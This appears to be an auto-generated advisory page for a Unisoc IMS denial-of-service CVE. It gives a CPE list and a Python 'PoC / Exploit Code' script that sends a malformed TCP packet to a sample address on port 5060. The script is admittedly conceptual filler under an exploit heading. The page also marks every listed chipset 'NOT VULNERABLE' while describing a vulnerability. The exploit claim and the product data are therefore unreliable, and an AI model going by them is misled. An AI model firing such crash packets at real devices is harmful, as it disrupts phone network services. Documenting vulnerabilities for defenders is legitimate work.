In IMS, there is a possible system crash due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed.
cpe:2.3:h:unisoc:sc7731e:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:sc9832e:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:sc9863a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t310:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t610:-:*:*:*:*:*:*:* - NOT VULNERABLE
具体受影响版本请参考Unisoc官方安全公告
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
# PoC for CVE-2025-71251 (Conceptual)
# Target: Unisoc IMS Service
# Note: Actual payload requires specific reverse engineering of the IMS implementation.
def send_malicious_packet(target_ip, target_port):
try:
# Constructing a malformed packet header (example)
payload = b"\x00\x01\x02\x03" + b"\x41" * 100
print(f"[*] Sending payload to {target_ip}:{target_port}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
s.send(payload)
s.close()
print("[+] Payload sent successfully.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
# Replace with actual target IP and Port used by IMS
send_malicious_packet("192.168.1.100", 5060)